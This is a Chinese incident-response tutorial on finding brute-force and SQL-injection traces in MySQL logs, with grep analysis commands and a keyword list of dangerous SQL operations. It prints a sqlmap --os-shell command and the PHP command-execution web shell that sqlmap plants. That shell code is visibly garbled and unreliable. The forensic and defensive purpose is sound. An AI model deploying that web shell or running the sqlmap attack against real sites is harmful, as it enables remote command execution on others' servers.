应急响应实战笔记02日志分析篇(5)

第5篇:MySQL日志分析

常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。

0x01 Mysql日志分析

general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。

1、查看log配置信息
show variables like '%general%';
2、开启日志
SET GLOBAL general_log = 'On';
3、指定日志文件路径
#SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

比如,当我访问 /test.php?id=1,此时我们得到这样的日志:

190604 14:46:14       14 Connect    root@localhost on 14 Init DB    test14 Query    SELECT * FROM admin WHERE id = 114 Quit  `

我们按列来解析一下:

第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。
第二列:Id,就是show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那一条那一个线程在运行。
第三列:Command,操作类型,比如Connect就是连接数据库,Query就是查询数据库(增删查改都显示为查询),可以特定过虑一些操作。
第四列:Argument,详细信息,例如 Connect    root@localhost on 意思就是连接数据库,如此类推,接下面的连上数据库之后,做了什么查询的操作。

0x02 登录成功/失败

我们来做个简单的测试吧,使用我以前自己开发的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。

MySQL中的log记录是这样子:

Time                 Id        Command         Argument190601 22:03:20     98 Connect  root@192.168.204.1 on 98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)103 Connect  mysql@192.168.204.1 on 103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)104 Connect  mysql@192.168.204.1 on 104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)100 Connect  root@192.168.204.1 on 101 Connect  root@192.168.204.1 on 101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)99 Connect  root@192.168.204.1 on 99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)105 Connect  mysql@192.168.204.1 on 105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)100 Query  set autocommit=0102 Connect  mysql@192.168.204.1 on 102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)100 Quit  `

你知道在这个口令猜解过程中,哪个是成功的吗?

利用爆破工具,一个口令猜解成功的记录是这样子的:

190601 22:03:20     100 Connect  root@192.168.204.1 on 100 Query  set autocommit=0100 Quit

但是,如果你是用其他方式,可能会有一点点不一样的哦。

Navicat for MySQL登录:

190601 22:14:07    106 Connect  root@192.168.204.1 on 106 Query  SET NAMES utf8106 Query  SHOW VARIABLES LIKE 'lower_case_%'106 Query  SHOW VARIABLES LIKE 'profiling'106 Query  SHOW DATABASES

命令行登录:

190601 22:17:25    111 Connect  root@localhost on 111 Query  select @@version_comment limit 1
190601 22:17:56    111 Quit

这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。

另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。

登录失败的记录:

102 Connect  mysql@192.168.204.1 on 
102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)

利用shell命令进行简单的分析:

#有哪些IP在爆破?
grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr27 192.168.204.1#爆破用户名字典都有哪些?
grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr13 mysql12 root1 root1 mysql

在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。

敏感数据库表:SELECT * from mysql.user、SELECT * from mysql.func

0x03 SQL注入入侵痕迹

在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:

1、构造一个SQL注入点,开启Burp监听8080端口

sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

HTTP通讯过程如下:

创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。

tmpbwyov.php:

<?php c=c=c=_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);z=@iniget(′disablefunctions′);if(!empty(z=@ini_get('disable_functions');if(!empty(z=@ini​g​​et(​′​​disable​f​​unctions​′​​);if(!empty(z)){z=pregreplace(′/[,]+/′,′,′,z=preg_replace('/[, ]+/',',',z=preg​r​​eplace(​′​​/[,]+/​′​​,​′​​,​′​​,z);z=explode(′,′,z=explode(',',z=explode(​′​​,​′​​,z);z=arraymap(′trim′,z=array_map('trim',z=array​m​​ap(​′​​trim​′​​,z);}else{z=array();}c=c." 2>&1\n";function f(n){global z;returniscallable(z;return is_callable(z;returnis​c​​allable(n)and!in_array(n,n,n,z);}if(f('system')){ob_start();system(c);c);c);w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){y=procopen(y=proc_open(y=proc​o​​pen(c,array(array(pipe,r),array(pipe,w),array(pipe,w)),t);t);t);w=NULL;while(!feof(t[1])){w.=fread(t[1],512);}@proc_close(y);}elseif(f('shell_exec')){w=shellexec(w=shell_exec(w=shell​e​​xec(c);}elseif(f('passthru')){ob_start();passthru(c);c);c);w=ob_get_contents();ob_end_clean();}elseif(f('popen')){x=popen(x=popen(x=popen(c,r);w=NULL;if(isresource(w=NULL;if(is_resource(w=NULL;if(is​r​​esource(x)){while(!feof(x)){w.=fread(x,512);}}@pclose(x);}elseif(f('exec')){w=array();exec(w=array();exec(w=array();exec(c,w);w);w);w=join(chr(10),w).chr(10);}else{w=0;}print "<pre>".$w."</pre>";?>`

创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。

通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。

检查方法:

1、检查网站目录下,是否存在一些木马文件:

2、检查是否有UDF提权、MOF提权痕迹

检查目录是否有异常文件

mysql\lib\plugin

c:/windows/system32/wbem/mof/

检查函数是否删除

select * from mysql.func

3、结合web日志分析。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/689744.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【题解】洛谷 P4423 [BJWC2011] 最小三角形

题目链接 传送门 思路 我们充分发扬人类智慧&#xff1a; 将所有点全部绕原点随机旋转同一个角度&#xff0c;然后按 x y x\times y xy 从小到大排序。 根据数学直觉&#xff0c;在随机旋转后&#xff0c;答案中的三个点在数组中肯定不会离得太远。 所以我们只取每个点…

vue 生成word表格文档 前端库介绍

在Vue中生成Word表格文档&#xff0c;你可以使用一些前端库来帮助你完成这项任务。以下是几个流行的库及其简要介绍&#xff1a; 1. **docxtemplater**: - **介绍**: docxtemplater是一个基于JavaScript的库&#xff0c;它可以处理docx和pptx模板&#xff0c;允许你通过JSON…

《白话C++》第10章 STL和boost,Page84 shared_ptr示例使用,容器中的指针

容器中的指针在容器解体时经常忘了释放&#xff1f;指针存放在容器中多次&#xff0c;结果被重复释放&#xff1f;这个问题&#xff0c;通过std::shared_ptr都可以完美地解决&#xff1a; #include <iostream> #include <list> #include <vector> #include …

如何使用Net2FTP部署本地Web网站并实现远程文件共享

文章目录 1.前言2. Net2FTP网站搭建2.1. Net2FTP下载和安装2.2. Net2FTP网页测试 3. cpolar内网穿透3.1.Cpolar云端设置3.2.Cpolar本地设置 4.公网访问测试5.结语 1.前言 文件传输可以说是互联网最主要的应用之一&#xff0c;特别是智能设备的大面积使用&#xff0c;无论是个人…

【DBeaver+mysql】如何在DBeaver中创建mysql服务的连接并新建数据库

一、创建步骤 1、下载安装mysql 8.0&#xff08;注意&#xff0c;安装过程会启动mysql服务&#xff0c;这才是能用命令行执行node处理sql语句的关键&#xff09; 下载地址&#xff1a;https://dev.mysql.com/downloads/file/?id526407 2、下载安装DBeaver数据库管理IDE 3、在…

优化线性回归模型的代价函数

目录 前言1 代价函数与线性回归模型2 单变量线性回归3 双变量线性回归4 优化过程结论 前言 线性回归是机器学习领域中最基础的模型之一&#xff0c;它通过找到最佳拟合直线来预测连续型输出变量。在线性回归中&#xff0c;代价函数&#xff08;Cost Function&#xff09;起着至…

js-前端存储之sessionStorage

1.使用场景 sessionStorage 是 Web Storage API 提供的一种客户端存储机制&#xff0c;用于在浏览器中保存会话级别&#xff08;session-level&#xff09;的数据。与 localStorage 不同&#xff0c;sessionStorage 中存储的数据在用户关闭标签页或浏览器窗口时会被清除。 2.使…

uniapp小程序因使用 uni.switchTab传不了值使用vuex(简单明了)

uniapp里面不需要npm下载vuex&#xff0c;自带vuex直接用就行 一、先建立一个index.js文件夹 里面写如以下代码 import Vue from vueimport Vuex from vuexVue.use(Vuex)const store new Vuex.Store({state: {userExt: null},mutations: {//相当于同步的操作setUserExt(sta…

查询获取SMBIOS的方法

一、用于在本地查询 SMBIOS 的示例 PowerShell 脚本 Microsoft网站参考 以下 ChassisTypes 列表是从最新的 DMTF SMBIOS 规范复制的。 # Set-ExecutionPolicy or Script Signing documentation needs to be reviewed # Current script is designed to run on individual mach…

x86下使用硬件实现的任务切换(TSS表)---使用代码讲解

实现任务切换(使用TSS) 视频讲解可以看这一个课程 • The current program, task, or procedure executes a JMP or CALL instruction to a TSS descriptor in the GDT. • The current program, task, or procedure executes a JMP or CALL instruction to a task-gate descri…

Spring Event详解

Spring Event详解 1.详细介绍2.使用场景3.注意事项4.案例分析5.代码实现6.与消息队列的区别7.SpringEvent结合线程池异步实现 1.详细介绍 Spring Event是Spring框架内建的一种发布/订阅&#xff08;Publish-Subscribe&#xff09;模式的实现&#xff0c;它允许应用内部不同组件…

并查集,真好用,一次AC不是梦!

文章目录 &#x1f680;前言&#x1f680;并查集&#x1f680;并查集的两个优化✈️路径压缩✈️按秩合并 &#x1f680;并查集代码模板 &#x1f680;前言 大家好啊&#xff01;今天阿辉来给大家介绍一种简洁而优雅的数据结构——并查集&#xff0c;不知道各位是否了解它&…

ssh连接服务器需要子网掩码吗?

IP寻址需要同时知道IP地址和子网掩码&#xff0c;但是在通过ssh连接服务器时&#xff0c;只需要知道IP地址和端口号就可以了&#xff0c;ssh通讯为什么不需要子网掩码呢。在不知道子网掩码的前提下&#xff0c;可以正确找到IP对应的主机吗&#xff1f; 不需要&#xff0c;SSH&a…

桌面显示器应用Type-C接口

随着科技的飞速发展&#xff0c;桌面显示器作为我们日常工作中不可或缺的设备之一&#xff0c;也在不断地更新换代。其中&#xff0c;Type-C接口的应用成为了桌面显示器发展的一个重要趋势。那么&#xff0c;桌面显示器应用Type-C接口究竟有什么好处呢&#xff1f; 首先&#x…

职场隐私守则:关系再好也别碰这些“雷区”

在职场中&#xff0c;与同事建立良好的关系是非常重要的&#xff0c;它有助于提高工作效率、增进团队协作&#xff0c;并且能够为日常的工作带来便利。 然而&#xff0c;即便与同事的关系再亲密&#xff0c;也有一些隐私话题是绝对不能轻易透露的。 在与同事和领导相处时&…

文章复现 | 差异分析和PPI网络构建

原文链接&#xff1a;差异分析和PPI网路图绘制教程 写在前面 在原文中&#xff0c;作者获得285个DEG&#xff0c;在此推文中共获得601个DEG。小杜的猜想是标准化的水段不同的原因吧&#xff0c;或是其他的原因。此外&#xff0c;惊奇的发现发表医学类的文章在附件中都不提供相…

【微信小程序】wxss 和 css 、wxml 和 html 区别

wxss 和 css 区别 wxss 支持小程序特有的选择器和 样式属性 scroll-into-view cover-view 等wxss 引入了 rpx 单位&#xff0c;可以根据屏幕宽度进行自适应&#xff0c;使得开发者可以更方便的处理不同尺寸屏幕的适配问题。wxss 背景图片只能引入外链&#xff0c;不能使用本地…

golang 获取域名 ip dns 信息

1 Go语言查找DNS A记录 A (Address) 记录是用来指定主机名&#xff08;或域名&#xff09;对应的IP地址记录. 用户可以将该域名下的网站服务器指向到自己的web server上. 同时也可以设置您域名的二级域名. 使用 Go 语言的标准库 net.LookupIP() 接受域名的字符串参数,返回 ne…

【零基础学习CAPL】——CAN报文的发送(LiveCounter——生命信号)

🙋‍♂️【零基础学习CAPL】系列💁‍♂️点击跳转 文章目录 1.概述2.面板创建3.系统变量创建4.CAPL实现5.效果5.1.0~15循环发送5.2.固定值发送6.全量脚本1.概述 本章主要介绍带有生命信号LiveCounter的报文发送脚本 一般报文可使用CANoe的IG模块直接发送,但存在循环冗余…

代码随想录算法训练营第三十六天|435.无重叠区间、763.划分字母区间、56.合并区间

435.无重叠区间 思路&#xff1a;找到删除几个区间&#xff0c;让题目给出的区间没有重叠部分&#xff0c;那么首先我们先进行排序&#xff08;按照左边界排序&#xff09;&#xff0c;那么下一个区间的左边界小于上一个区间的右边界&#xff0c;那么这两个区间一定有重叠的部分…